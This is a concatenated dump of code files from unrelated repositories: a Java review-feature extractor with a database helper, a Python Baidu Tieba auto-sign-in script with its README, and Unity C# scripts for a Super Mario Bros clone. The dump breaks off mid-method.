import java.io.BufferedReader;
import java.io.StringReader;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import edu.stanford.nlp.ling.HasWord;
import edu.stanford.nlp.ling.TaggedWord;
import edu.stanford.nlp.tagger.maxent.MaxentTagger;
/**
* @author kevin
* @Def
*returns features that are close to the positive words
*
*/
public class Tagger
{
final static String[] desiredTags = {"NN","NNS","NNP","NNPS"};
final static String[] desiredProperty = {"JJ","JJR","JJS"};
final static int DistanceSize = 5;
static Set<String> desiredTagSet = new HashSet<String>();
static Set<String> desiredPropertySet = new HashSet<String>();
private static MaxentTagger tagger;
static
{
Collections.addAll(desiredTagSet, desiredTags);
Collections.addAll(desiredPropertySet, desiredProperty);
try
{
tagger = new MaxentTagger("models/wsj-0-18-left3words.tagger");
}
catch (Exception e)
{
}
}
public static void getFeatures(Set<String> features, String contentText)
{
List<List<HasWord>> sentences = tagger.tokenizeText(new BufferedReader(new StringReader(contentText)));
for (List<HasWord> sentence : sentences)
{
ArrayList<TaggedWord> taggedSentence = tagger.tagSentence(sentence);
extractDesiredTags(taggedSentence,features);
}
}
private static void extractDesiredTags(ArrayList<TaggedWord> taggedSentence , Set<String> features)
{
int size = taggedSentence.size();
for( int i = 0 ; i < size ; i++)
{
TaggedWord word = taggedSentence.get(i);
if( desiredTagSet.contains( word.tag() ) )
{
if ( checkifPositive(taggedSentence, i, size))
{
features.add(word.value());
}
}
}
}
private static boolean checkifPositive(ArrayList<TaggedWord> tSentence,int index, int size)
{
boolean isPositive = false;
int j , endPoint;
if ( index-DistanceSize < 0 )
{
j = 0 ;
}
else
{
j = index-DistanceSize;
}
if( index+DistanceSize>=size )
{
endPoint = size;
}
else
{
endPoint = index+DistanceSize;
}
for ( ; j < endPoint ; j++)
{
TaggedWord word = tSentence.get(j);
if( desiredPropertySet.contains( word.tag() ) )
{
isPositive = PositiveFeatureExtractor.isPositive(word.value());
if(isPositive)
break;
}
}
return isPositive;
}
}
<file_sep>/src/edu/commons/aider/sql/UpdateResult.java
package edu.commons.aider.sql;
import java.sql.ResultSet;
import java.sql.SQLException;
public class UpdateResult extends DataSet
{
private int status;
public UpdateResult(boolean isAlias, ResultSet result) throws SQLException {
super(isAlias, result);
}
public int getStatus()
{
return status;
}
void setStatus(int status)
{
this.status = status;
}
}
<file_sep>/src/edu/commons/aider/sql/DataRow.java
package edu.commons.aider.sql;
import java.util.LinkedHashMap;
public class DataRow extends LinkedHashMap<String,String>
{
private static final long serialVersionUID = 1L;
public DataRow()
{
}
@Override
public String put(String key, String value)
{
int i = 0;
String nkey = key;
while(this.containsKey(nkey))
nkey = key + "_" + i++;
return super.put(nkey, value);
}
protected void setValue(int index,String column,String value)
{
this.put(column, value);
}
protected String getAt(int index)
{
if(this.values().size() > index)
return (String) this.values().toArray()[index];
return null;
}
}
<file_sep>/src/edu/commons/aider/sql/DBAider.java
package edu.commons.aider.sql;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Arrays;
import java.util.List;
import java.util.Properties;
import org.apache.commons.dbcp.ConnectionFactory;
import org.apache.commons.dbcp.DriverManagerConnectionFactory;
import org.apache.commons.dbcp.PoolableConnectionFactory;
import org.apache.commons.dbcp.PoolingDataSource;
import org.apache.commons.pool.impl.GenericObjectPool;
import org.apache.log4j.Logger;
public class DBAider
{
private static GenericObjectPool connectionPool = null;
private static Properties credentials = null;
private static ConnectionFactory connectionFactory = null;
private static PoolingDataSource datasource = null;
private static Logger logger = Logger.getLogger(DBAider.class.getName());
private Connection connectionInstance = null;
private PreparedStatement statement = null;
private ResultSet set = null;
public static void init(SettingsLoader settings) {
try {
String URL = settings.getProperty("configuration.database.protocol") + "://" +
settings.getProperty("configuration.database.host") + ":" +
settings.getProperty("configuration.database.port") + "/" +
settings.getProperty("configuration.database.schema");
String DRIVER = settings.getProperty("configuration.database.driver");
String USER = settings.getProperty("configuration.database.user");
String PASSWORD = settings.getProperty("configuration.database.password");
int MAXACTIVE = Integer.parseInt(settings.getProperty("configuration.database.pooling.maxactive"));
int MINIDLE = Integer.parseInt(settings.getProperty("configuration.database.pooling.maxidle"));
logger.info("Connecting to database " + URL);
Class.forName(DRIVER).newInstance();
connectionPool = new GenericObjectPool(null);
credentials = new Properties();
credentials.setProperty("user",USER);
credentials.setProperty("password",(<PASSWORD> == null ? "" : <PASSWORD>));
connectionPool.setMaxActive(MAXACTIVE);
connectionPool.setMinIdle(MINIDLE);
connectionPool.setMaxWait(6000);
connectionFactory = new DriverManagerConnectionFactory(URL,credentials);
new PoolableConnectionFactory(connectionFactory,connectionPool,null,null,false,true);
datasource = new PoolingDataSource(connectionPool);
} catch (Exception e) {
logger.error("DBAider static, ",e);
}
}
public DBAider() throws SQLException
{
connectionInstance = datasource.getConnection();
connectionInstance.setAutoCommit(false);
}
public static DataSet read(String qry,List<Object> vars) {
//logger.debug("read, a query : " + qry);
try
{
Connection connection = datasource.getConnection();
return basicRead(connection,false, qry, vars);
} catch (Exception e) {
}
return null;
}
public static DataSet readAlias(String qry,List<Object> vars) {
logger.debug("read, a query : " + qry);
Connection connection = null;
try
{
connection = datasource.getConnection();
return basicRead(connection, true, qry, vars);
} catch (Exception e) {
}
return null;
}
private static DataSet basicRead(Connection connection,boolean isAlias, String qry,List<Object> vars)
{
PreparedStatement statement = null;
ResultSet resultset = null;
try
{
//logger.debug("read, Obtained the connection");
if(connection != null)
{
statement = connection.prepareStatement(qry);
if(statement != null)
{
for(int row = 0;row < vars.size();row++)
statement.setObject(row + 1, vars.get(row));
resultset = statement.executeQuery();
//logger.debug("read, The query was executed successfully");
}
}
return new DataSet(isAlias,resultset);
}
catch (SQLException e)
{
logger.error("read, ",e);
}
finally
{
try
{
if(resultset != null)
resultset.close();
if(statement != null)
statement.close();
if(connection != null)
connection.close();
}
catch (NullPointerException e)
{
logger.error("read, ",e);
}
catch (SQLException e)
{
logger.error("read, ",e);
}
}
return null;
}
public static DataSet read(String qry,Object... vars) {
return read(qry, Arrays.asList(vars));
}
public static DataSet readAlias(String qry,Object... vars) {
return readAlias(qry, Arrays.asList(vars));
}
public static UpdateResult write(String qry,List<Object> vars) {
logger.debug("write, an update query : " + qry);
Connection connection = null;
PreparedStatement statement = null;
UpdateResult result = null;
ResultSet set = null;
try
{
connection = datasource.getConnection();
logger.debug("write, Obtained the connection");
if(connection != null)
{
statement = connection.prepareStatement(qry,Statement.RETURN_GENERATED_KEYS);
if(statement != null)
{
for(int row = 0;row < vars.size();row++)
statement.setObject(row + 1, vars.get(row));
}
int ret = statement.executeUpdate();
logger.debug("write, update query " + qry + " returned : " + ret);
result = new UpdateResult(false,statement.getGeneratedKeys());
result.setStatus(ret);
return result;
}
}
catch (SQLException e)
{
logger.error("write, ",e);
}
finally
{
try
{
if(set != null)
set.close();
if(statement != null)
statement.close();
if(connection != null)
connection.close();
}
catch (NullPointerException e)
{
logger.error("write, ",e);
}
catch (SQLException e)
{
logger.error("write, ",e);
}
}
return null;
}
public static UpdateResult write(String qry,Object... vars) {
return write(qry, Arrays.asList(vars));
}
public UpdateResult writeWithCommit(String qry,Object... vars)
{
logger.debug("writeWithCommit, a update query without commit : " + qry);
UpdateResult result = null;
try
{
if(connectionInstance != null)
{
statement = connectionInstance.prepareStatement(qry,Statement.RETURN_GENERATED_KEYS);
if(statement != null)
{
for(int row = 0;row < vars.length;row++)
statement.setObject(row + 1, vars[row]);
}
int ret = statement.executeUpdate();
logger.debug("writeWithCommit, update query " + qry + " returned : " + result);
result = new UpdateResult(false,statement.getGeneratedKeys());
result.setStatus(ret);
return result;
}
}
catch (SQLException e)
{
logger.error("writeWithCommit, ",e);
}
finally
{
try
{
if(set != null)
set.close();
if(statement != null)
statement.close();
}
catch (NullPointerException e)
{
logger.error("writeWithCommit, ",e);
}
catch (SQLException e)
{
logger.error("preparedWriteWithoutAutoCommit, ",e);
}
}
return null;
}
public boolean commit()
{
boolean isCommit = false;
try
{
logger.debug("commit, is inside commit function");
if(connectionInstance != null)
{
connectionInstance.commit();
connectionInstance.close();
connectionInstance = null;
logger.debug("commit, committed a query");
}
isCommit = true;
}
catch (SQLException e)
{
isCommit = false;
logger.error("commit, ",e);
}
return isCommit;
}
public boolean rollback()
{
boolean isRollback = false;
try
{
logger.debug("rollback, is inside rollback function");
if(connectionInstance != null)
{
connectionInstance.rollback();
connectionInstance.close();
connectionInstance = null;
logger.debug("rollback, rollbacked from a query");
}
isRollback = true;
}
catch (SQLException e)
{
isRollback = false;
logger.error("rollback, ",e);
}
return isRollback;
}
}
<file_sep>/src/edu/pos/feature/store/Store.java
package edu.pos.feature.store;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import edu.commons.aider.sql.DBAider;
import edu.commons.aider.sql.DataSet;
import edu.pos.feature.FeatureAggregator;
import edu.pos.feature.FeatureItemSet;
import edu.pos.feature.extractor.Tagger;
// build the feature set for a store
public class Store
{
private final float minSup = 0.2f;
private String storeID;
FeatureAggregator featureAggregator;
public Store(String storeID)
{
featureAggregator = new FeatureAggregator(minSup);
this.storeID = storeID;
}
public Set<FeatureItemSet> getFeatureForStoreFromDB()
{
DataSet ds = DBAider.read("select text from review where store_id=? and rating=?",storeID,"five");
int rowCount = ds.rowSize();
for(int i = 0 ; i < rowCount ; i++)
{
Set<String> features = new HashSet<String>();
Tagger.getFeatures(features, ds.getValue(i, "text"));
featureAggregator.addToList(features);
}
return featureAggregator.sortFeatureAboveThreshold(rowCount);
}
public void addReview(String review)
{
Set<String> features = new HashSet<String>();
Tagger.getFeatures(features, review);
featureAggregator.addToList(features);
}
public Set<FeatureItemSet> getAggregatedFeature(int totalReview)
{
return featureAggregator.sortFeatureAboveThreshold(totalReview);
}
}
<file_sep>/src/edu/commons/aider/sql/test/Test.java
package edu.commons.aider.sql.test;
import edu.commons.aider.sql.DBAider;
import edu.commons.aider.sql.DataSet;
import edu.commons.aider.sql.SettingsLoader;
public class Test {
public static void main(String[] args) {
SettingsLoader settings = new SettingsLoader("app.settings");
DBAider.init(settings);
DataSet set = DBAider.read("select * from camera");
System.out.println(set);
}
}
<file_sep>/src/edu/commons/aider/sql/SettingsLoader.java
package edu.commons.aider.sql;
import java.io.File;
import java.util.Hashtable;
import java.util.LinkedList;
import java.util.Queue;
import java.util.Stack;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.apache.log4j.Logger;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
public class SettingsLoader
{
private static Logger logger = Logger.getLogger(SettingsLoader.class.getName());
private Hashtable<String,String> nodemap = null;
public SettingsLoader(String configPath)
{
if(configPath != null)
{
logger.info("Loading configuration file [ " + configPath + " ]");
logger.debug("SettingsLoader, calling init method");
init(configPath);
}
else
{
logger.info("Configuration file not found . . . Shutting down system");
logger.error("SettingsLoader, Could not get the config path");
System.exit(1);
}
}
private void init(String file)
{
loadXml(file);
}
private String namespace(Node node)
{
String namespace = "";
Node parent = node.getParentNode();
Stack<String> collection = new Stack<String>();
boolean wasIn = false;
try
{
while(parent != null && !parent.getNodeName().equals("#document"))
{
collection.push(parent.getNodeName());
parent = parent.getParentNode();
}
while(!collection.isEmpty())
{
namespace += collection.pop() + ".";
wasIn = true;
}
if(wasIn)
namespace = namespace.substring(0, namespace.length() - 1);
}
catch(Exception ex)
{
logger.error("namespace, ",ex);
}
logger.debug("namespace, the name space : " + namespace);
return namespace;
}
private Hashtable<String,String> index(Document xml)
{
logger.debug("index, about to index the the leaf nodes of the xml");
Hashtable<String,String> map = new Hashtable<String,String>();
Node root = xml.getDocumentElement();
Queue<Node> queue = new LinkedList<Node>();
queue.add(root);
while(!queue.isEmpty())
{
Node node = queue.remove();
int nChilds = node.getChildNodes().getLength();
for(int i = 0;i < nChilds;i++)
{
Node child = node.getChildNodes().item(i);
if(!child.getNodeName().equals("#text"))
queue.add(child);
if(child.getParentNode() != null)
{
if(child.getChildNodes().getLength() == 0 && child.getParentNode().getChildNodes().getLength() == 1)
{
String namespc = namespace(child);
String val = child.getNodeValue();
logger.debug("index, Hash key : " + namespc + " Value : " + val);
map.put(namespc, val);
}
}
}
}
return map;
}
private void loadXml(String file)
{
try
{
logger.debug("loadXml, loading xml from file and indexing it");
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document xml = builder.parse(new File(file));
nodemap = index(xml);
}
catch (Exception e)
{
logger.error("loadXml, ",e);
}
}
public String getProperty(String key)
{
String value = null;
logger.debug("getProperty, getting the value for key : " + key);
value = property(key);
return value;
}
private String property(String key)
{
return nodemap.get(key);
}
}
|
42f8c8aa838435853c48dd88ee6903f9328340fe
|
[
"Java"
] | 7
|
Java
|
kevingeorge26/FeatureExtractor
|
1f1af60962f5966441d3ef5bc852eac8cadfb03b
|
eb8462cde0ba5160cd3903696b98d7c56b412c61
|
refs/heads/master
|
<repo_name>sp4rkw/TIEBAsign<file_sep>/README.md
# TIEBAsign
百度贴吧本地自动签到软件 [下载点击这里](https://github.com/q1271964185/TIEBAsign/releases)
首发更新于:
- [我的博客](https://sp4rkw.blog.csdn.net/article/details/89150795)
- [52论坛](https://www.52pojie.cn/forum.php?mod=viewthread&tid=925395&page=1&extra=)
百度贴吧7级以上才可以一键签到,否则则需要开启svip会员,所以尝试做了这个软件,耗时两天半,可能会有一些没有考虑到的bug,欢迎使用中提出问题,其他关于软件功能的想法也可以提出~
其实签到脚本大家应该都会写,这个是面向不知道怎么使用脚本的,主要工作加了一个UI界面吧
反馈功能提出意见请前往我的博客或者52论坛
实现功能:
输入cookies一键签到
原创不易多多支持~
效果图如下:

附:
cookies获取,使用google浏览器举例
百度贴吧随意界面-F12

选择network,然后按F5刷新一下,点击html后缀文件复制如图cookies保存到本地

之后每天手动签到就可以了
其实在线版也很好做,只不过还是觉得这种cookies,万一从我这泄露了就麻烦了~小手镯还是不想要的
=====================v1.1.0 版本更新=================================
新增:
1. cookies优化
点击一键签到会自动在本地进行cookies存储(同目录下创建cookies.txt文件), 之后每次打开软件会从本地自动加载cookies,避免手填(没测试过,但是百度cookies有效期挺久的)
修改的话,就直接在签到框修改,会自动保存到本地
2. 提示优化
之前未做cookies检验,导致可能cookies输入错误的时候无任何提示,现在加上cookies检验提示
<file_sep>/run.py
# -*- coding:utf-8 -*-
import requests,datetime,re,os,sys,time
from bs4 import BeautifulSoup
'''
函数match_bar_name用来获取
1、当前页
2、关注贴吧名字和链接,返回列表数据,格式[{'name':'abc','link':'www.asdfaf.asdfasdf'},'name':'abc','link':'www.asdfaf.asdfasdf'}],
'''
def match_bar_name(soup):
list=[]
for i in soup.find_all('a'):
if i.has_attr('href') and not i.has_attr('class') and i.has_attr('title'):
if i.string != 'lua':
list.append({'name':i.string,'link':'http://tieba.baidu.com/'+i.get('href')+'&fr=home'})
return list
'''
函数get_bar_link用来获取
1、所有页
2、关注贴吧
3、名字和链接
'''
def get_bar_link(s,header):#遍历所有页,直到最后一页
url=r'http://tieba.baidu.com/f/like/mylike?pn=%d'
pg=1
tieba_list = []
try:
while 1:
res=s.get(url%pg,headers=header)
soup=BeautifulSoup(res.text,'html.parser')
tieba_list.extend(match_bar_name(soup))
if '下一页' in str(soup):
pg+=1
else:
return tieba_list
except:
return 'error'
'''
name: 贴吧名字
link:贴吧链接
'''
def check(name,link,header,s):#获取每个关注贴吧 提交数据tbs,然后签到,并返回签到结果
try:
res=s.post(link)
tbs=re.compile('\'tbs\': "(.*?)"')
find_tbs=re.findall(tbs,res.text)
if not find_tbs: # 没有查找到tbs,跳过这个吧的签到
return -2
data={
'ie':'utf-8',
'kw':name,
'tbs':find_tbs[0],
}
url='http://tieba.baidu.com/sign/add'
res=s.post(url,data=data,headers=header) ######## 签到 post
# print(datetime.datetime.now(),' ',name,' ',res.json())
return int(res.json()['no']) #########返回提交结果
except:
return -1
def SignIn(data,header,s):
try:
res=check(data['name'], data['link'],header,s)
if res==0:
# print( data['name'] +'吧签到成功\n')
return (True,data['name'] +'吧签到成功')
elif res==1101:
# print( data['name'] +'吧已经签过\n')
return (True,data['name'] +'吧已经签过')
elif res==1102:
# print( data['name'] + '吧,签到太快,重新签到本吧\n')
time.sleep(10)
return (False,data['name'] + '吧,签到太快,重新签到本吧')
else:
print(res)
# print('未知返回值,重新签到'+ data['name']+'吧')
return (False,u'未知返回值,重新签到'+ data['name']+'吧')
except :
# print('未知报错 重新签到'+ data['name']+'吧')
return (False,u'未知报错 重新签到'+ data['name']+'吧')
if __name__ == "__main__":
s=requests.session()
cookie =''
headers={
'Cookie':cookie,
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
}
for i in get_bar_link():#根据签到的返回值处理结果,利用count做最多三次异常重复签到
flag = False
count = 0
while flag == False:
flag = SignIn(i)
time.sleep(2) #控制签到速度
count = count + 1
if count >= 3:
print(i['name']+'吧异常,无法签到,已经跳过')
break
'''
附上 3种 签到返回json
签到太快 {'no': 1102, 'error': '您签得太快了 ,先看看贴子再来签吧:)', 'data': ''}
已经签过到 {'no': 1101, 'error': '亲,你之前已经签过了', 'data': ''}
成功签到的 {'no': 0, 'error': '', 'data': {'errno': 0, 'errmsg': 'success', 'sign_version': 2, 'is_block': 0, 'finfo': {'forum_info': {'forum_id': 548717, 'forum_name': 'katana'}, 'current_rank_info': {'sign_count': 966}}, 'uinfo': {'user_id': 774850436, 'is_sign_in': 1, 'user_sign_rank': 966, 'sign_time': 1548040220, 'cont_sign_num': 1, 'total_sign_num': 1, 'cout_total_sing_num': 1, 'hun_sign_num': 0, 'total_resign_num': 0, 'is_org_name': 0}}}
'''
|
18ba843ec1620f14aa726967f72b955306d0ad9f
|
[
"Markdown",
"Python"
] | 2
|
Markdown
|
sp4rkw/TIEBAsign
|
bc52e9f7760ce3cfa4e0a27a7f340938f302be60
|
ea6ce47a3b646c5f1e43949c3af56dff244e551c
|
refs/heads/master
|
<file_sep>package com.prateek.bangre.openl_demo;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class OpenlDemoApplicationTests {
@Test
void contextLoads() {
}
}
|
39b115bbec163443351ee6519cbb4b0a566e4f47
|
[
"Java"
] | 1
|
Java
|
prateekbangre/openl_demo
|
194bd5c7cae295ee8c37a693176d49ea18b0c71b
|
cff11d3713aa4498c8328622acbd3e6370fccfe5
|
refs/heads/master
|
<file_sep>using UnityEngine;
public class AiInputs : MovementByTransform
{
public bool movingToTheLeft = true;
private void FixedUpdate()
{
Vector3 direction = movingToTheLeft ? Vector3.left : Vector3.right;
Move( direction );
}
}
<file_sep>using UnityEngine;
public class ScoreGiven : MonoBehaviour
{
[SerializeField]
private GameObject scorePopupPrefab;
[SerializeField]
private int scorePoints;
public void SetScore()
{
AddScorePoints();
CreateScorePopup();
}
private void AddScorePoints()
{
GameObject canvas = GameObject.FindWithTag( "Canvas" );
canvas.GetComponent<ScoreController>().AddScore( scorePoints );
}
private void CreateScorePopup()
{
GameObject popup = Instantiate( scorePopupPrefab,
transform.position + Vector3.up, Quaternion.identity );
popup.GetComponent<ScorePopup>().SetText( scorePoints );
}
}
<file_sep>using UnityEngine;
public class CoinBlock : MonoBehaviour
{
[SerializeField]
private GameObject blankBlockPrefab;
[SerializeField]
private GameObject coinBlockEffectPrefab;
[SerializeField]
private int coinsCount = 1;
private void Awake()
{
GetComponent<CollideWithMario>().BricksEffect += CoinEffect;
}
private void CoinEffect(GameObject mario)
{
Instantiate( coinBlockEffectPrefab, transform.position, Quaternion.identity );
GameObject.FindWithTag( "Canvas" )
.GetComponent<CoinsController>()
.AddCoins( 1 );
if (GetComponent<ScoreGiven>())
GetComponent<ScoreGiven>().SetScore();
coinsCount--;
if(coinsCount <= 0)
{
if (blankBlockPrefab)
Instantiate( blankBlockPrefab, transform.position, Quaternion.identity );
Destroy( gameObject );
}
}
}
<file_sep>using UnityEngine;
public class EnemySpawnController : MonoBehaviour
{
private void OnTriggerEnter2D(Collider2D other)
{
if(other.tag == "Enemy")
{
if(other.GetComponent<AiInputs>())
other.transform.GetComponent<AiInputs>().enabled = true;
else
other.transform.parent.GetComponent<AiInputs>().enabled = true;
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class DieOnDamage : MonoBehaviour
{
[SerializeField]
private GameObject deadEnemyPrefab;
private void Awake()
{
GetComponent<DamageWhenJumpOnTheHead>().DamageEnemy += DestroyEnemy;
}
private void DestroyEnemy()
{
Instantiate( deadEnemyPrefab, transform.position, Quaternion.identity );
Destroy( gameObject );
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MarioVerticalAnimator : MonoBehaviour
{
private Animator an;
private Rigidbody2D rb;
private JumpInputs controller;
private void Awake()
{
an = GetComponent<Animator>();
rb = GetComponent<Rigidbody2D>();
controller = GetComponent<JumpInputs>();
}
private void Update()
{
VerticalMovement();
}
private void VerticalMovement()
{
if(Mathf.Abs(rb.velocity.y) > 0.1f)
{
if (controller.IsJumping)
an.SetBool( "isJumping", true );
else if(rb.velocity.y < 0)
an.SetBool( "isFalling", true );
}
else
{
an.SetBool( "isJumping", false );
an.SetBool( "isFalling", false );
}
}
}
<file_sep>using UnityEngine;
public class FireBallLauncher : MonoBehaviour
{
[SerializeField]
private GameObject fireBallPrefab;
private void Update()
{
if (Input.GetButtonDown( "Fire2" ))
Attack();
}
private void Attack()
{
if(GameObject.FindGameObjectsWithTag("FireBall").Length < 4)
{
bool facingLeft = GetComponent<SpriteRenderer>().flipX;
Vector3 newPos = transform.position;
newPos += facingLeft ? Vector3.left : Vector3.right;
GameObject fireBall = Instantiate( fireBallPrefab, newPos, Quaternion.identity );
fireBall.GetComponent<AiInputs>().movingToTheLeft = facingLeft;
}
}
}
<file_sep>using UnityEngine;
public class KillWhenCollide : DetectorToInstantiate
{
protected override void OnTrigger(GameObject other) {
other.GetComponent<DieByFireBall>().DestroyEnemy();
GetComponent<FireBallDie>().DestroyFireBall();
}
}
<file_sep>using UnityEngine;
public class OwnCircleColliderDetector : MonoBehaviour
{
private void Start()
{
CircleCollider2D parentCol = transform.parent.GetComponent<CircleCollider2D>();
CircleCollider2D myCol = GetComponent<CircleCollider2D>();
gameObject.tag = transform.parent.tag;
gameObject.layer = transform.parent.gameObject.layer;
myCol.offset = parentCol.offset;
myCol.radius = parentCol.radius;
parentCol.enabled = false;
}
}
<file_sep>using UnityEngine;
public class DeleteAfterATime : MonoBehaviour
{
[SerializeField]
private float time = 2f;
void Start()
{
Destroy( gameObject, time );
}
}
<file_sep># Super-Mario-Bros-Unity
<file_sep>using System;
using UnityEngine;
public class DamageWhenJumpOnTheHead : DetectorToInstantiate
{
public event Action DamageEnemy = delegate { };
protected override void OnTrigger(GameObject other)
{
Vector2 otherPos = other.transform.position;
Vector2 myPos = transform.position;
if (other.GetComponent<StarEffect>().ItsStarEffect)
{
if (GetComponent<ScoreGiven>())
GetComponent<ScoreGiven>().SetScore();
Destroy( gameObject );
}
else if (Mathf.Abs( otherPos.x - myPos.x ) < 0.8f && otherPos.y > myPos.y)
{
other.gameObject.GetComponent<MarioAttackEffect>().AttackEffect();
if(GetComponent<ScoreGiven>())
GetComponent<ScoreGiven>().SetScore();
DamageEnemy();
}
else
{
MarioInvensibleEffect marioInvensibleEffect = other.gameObject.
GetComponent<MarioInvensibleEffect>();
if(marioInvensibleEffect && !marioInvensibleEffect.IsInvensible)
other.gameObject.GetComponent<MarioDamage>().Damage();
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class FireBallDie : MonoBehaviour
{
[SerializeField]
private GameObject fireBallEffect;
public void DestroyFireBall()
{
Instantiate( fireBallEffect, transform.position, Quaternion.identity );
Destroy( gameObject );
}
}
<file_sep>using UnityEngine;
public class FlipSensor : MonoBehaviour
{
private void Start()
{
AiInputs movement = transform.parent.gameObject.GetComponent<AiInputs>();
if(movement != null && !movement.movingToTheLeft)
FlipColliderComponent();
}
public void FlipColliderComponent()
{
BoxCollider2D myBc = GetComponent<BoxCollider2D>();
myBc.offset = new Vector2( myBc.offset.x * -1f, myBc.offset.y );
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BlockSwingEffect : MonoBehaviour
{
private SpriteRenderer blockSprite;
private void Awake()
{
blockSprite = transform.GetChild( 0 ).GetComponent<SpriteRenderer>();
Debug.Log(GetComponent<Animator>().GetCurrentAnimatorClipInfo( 0 ).Length);
}
public void SetSpriteBlock(Sprite sprite)
{
blockSprite.sprite = sprite;
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
public class CoinsController : MonoBehaviour
{
[SerializeField]
private Text coinsText;
private void Awake()
{
coinsText.text = "00";
}
public void AddCoins(int coins)
{
int currentPoints = int.Parse( coinsText.text );
int n = currentPoints + coins;
if (n < 10)
coinsText.text = "0" + n.ToString();
else if (n < 100)
coinsText.text = n.ToString();
else if(n >= 100)
{
GameObject.FindWithTag( "GameController" )
.GetComponent<LivesController>()
.AddsLife();
ResetCoins();
}
}
public void ResetCoins()
{
coinsText.text = "00";
}
}
<file_sep>using UnityEngine;
public class DeathZone : MonoBehaviour
{
private void OnTriggerEnter2D(Collider2D other)
{
if(other.gameObject.tag == "Player")
{
other.GetComponent<MarioDeath>().Active();
}
else if(other.transform.parent)
Destroy( other.transform.parent.gameObject );
else
Destroy( other.gameObject );
}
}
<file_sep>using UnityEngine;
public class OwnBoxColliderDetector : MonoBehaviour
{
private void Start()
{
BoxCollider2D parentCol = transform.parent.GetComponent<BoxCollider2D>();
BoxCollider2D myCol = GetComponent<BoxCollider2D>();
gameObject.tag = transform.parent.tag;
gameObject.layer = transform.parent.gameObject.layer;
myCol.offset = parentCol.offset;
myCol.size = parentCol.size;
parentCol.enabled = false;
}
}<file_sep>using System.Collections;
using UnityEngine;
using UnityEngine.UI;
public class ScoreController : MonoBehaviour
{
[SerializeField]
private Text scoreText;
private int score = 0;
private void Awake()
{
scoreText.text = "000000";
}
public void AddScore(int points)
{
score += points;
if (score < 10)
scoreText.text = "00000" + score.ToString();
else if (score < 100)
scoreText.text = "0000" + score.ToString();
else if (score < 1000)
scoreText.text = "000" + score.ToString();
else if (score < 10000)
scoreText.text = "00" + score.ToString();
else if (score < 100000)
scoreText.text = "0" + score.ToString();
else if (score < 1000000)
scoreText.text = score.ToString();
}
public void ResetScore()
{
GetComponent<HighScore>().Set( score );
scoreText.text = "000000";
score = 0;
}
public void Win()
{
StartCoroutine( WinScoreEffect() );
}
private IEnumerator WinScoreEffect()
{
TimeController time = GetComponent<TimeController>();
int currentTime = time.GetCurrentTime();
time.StopTimer();
for (int i = 0; i < currentTime - (currentTime % 5); i+=5)
{
AddScore( 50 * 5);
time.SetTimeText( currentTime - i );
yield return new WaitForSeconds( 0.01f );
}
for(int i = 0; i <= currentTime % 5; i++)
{
AddScore( 50 );
time.SetTimeText( (currentTime % 5) - i );
yield return new WaitForSeconds( 0.01f );
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[RequireComponent(typeof( MarioInvensibleEffect ), typeof( SpriteRenderer) )]
public class StarEffect : MonoBehaviour
{
public bool ItsStarEffect { get; set; }
[SerializeField]
private int effectTime = 30;
public int CurrentTime { get; private set; }
public void Active()
{
StartCoroutine( StarEffectCoroutine( effectTime ) );
}
public void ContinueEffect(int pastTime)
{
StartCoroutine( StarEffectCoroutine( effectTime - pastTime ) );
}
private IEnumerator StarEffectCoroutine(int time)
{
ItsStarEffect = true;
GameObject.FindWithTag( "SoundClips" )
.GetComponent<AudioController>()
.PlayStarTheme();
GetComponent<MarioInvensibleEffect>().IsInvensible = true;
SpriteRenderer mySprite = GetComponent<SpriteRenderer>();
Color myColor = mySprite.color;
for (int i = 0; i <= time * 5; i++)
{
CurrentTime = i/5;
mySprite.color = new Color( 255f, 0f, 0f, 1f );
yield return new WaitForSeconds( 0.1f );
mySprite.color = new Color( 255f, 255f, 255f, 1f );
yield return new WaitForSeconds( 0.1f );
}
GetComponent<MarioInvensibleEffect>().IsInvensible = false;
GameObject.FindWithTag( "SoundClips" )
.GetComponent<AudioController>()
.StopStarTheme();
ItsStarEffect = false;
}
}
<file_sep>using UnityEngine;
public abstract class DetectorToInstantiate : MonoBehaviour
{
[SerializeField]
protected GameObject[] detectorsPrefab;
[SerializeField]
private string[] tagWithCollide = new string[] { "Ground", "Enemy" };
protected GameObject[] detectors;
protected virtual void Awake()
{
int i = 0;
detectors = new GameObject[detectorsPrefab.Length];
foreach (GameObject detector in detectorsPrefab)
{
detectors[i] = Instantiate( detector, transform.position, Quaternion.identity );
detectors[i].transform.parent = transform;
detectors[i].GetComponent<Sensor>().tagsWithCollide = tagWithCollide;
detectors[i].GetComponent<Sensor>().Sign += OnTrigger;
i++;
}
}
protected abstract void OnTrigger(GameObject other);
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class BlankBlock : MonoBehaviour
{
private void Awake()
{
GetComponent<CollideWithMario>().BricksEffect += BlankBlockEffect;
}
private void BlankBlockEffect(GameObject mario)
{
//GameObject.FindWithTag( "SoundClips" )
// .GetComponent<SoundClips>()
// .Bump();
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MarioInvensibleEffect : MonoBehaviour
{
public bool IsInvensible { get; set; }
[SerializeField]
private float effectTime = 3f;
[SerializeField]
private AudioClip powerDownClip;
private void Awake()
{
IsInvensible = false;
}
public void InvensibleEffect()
{
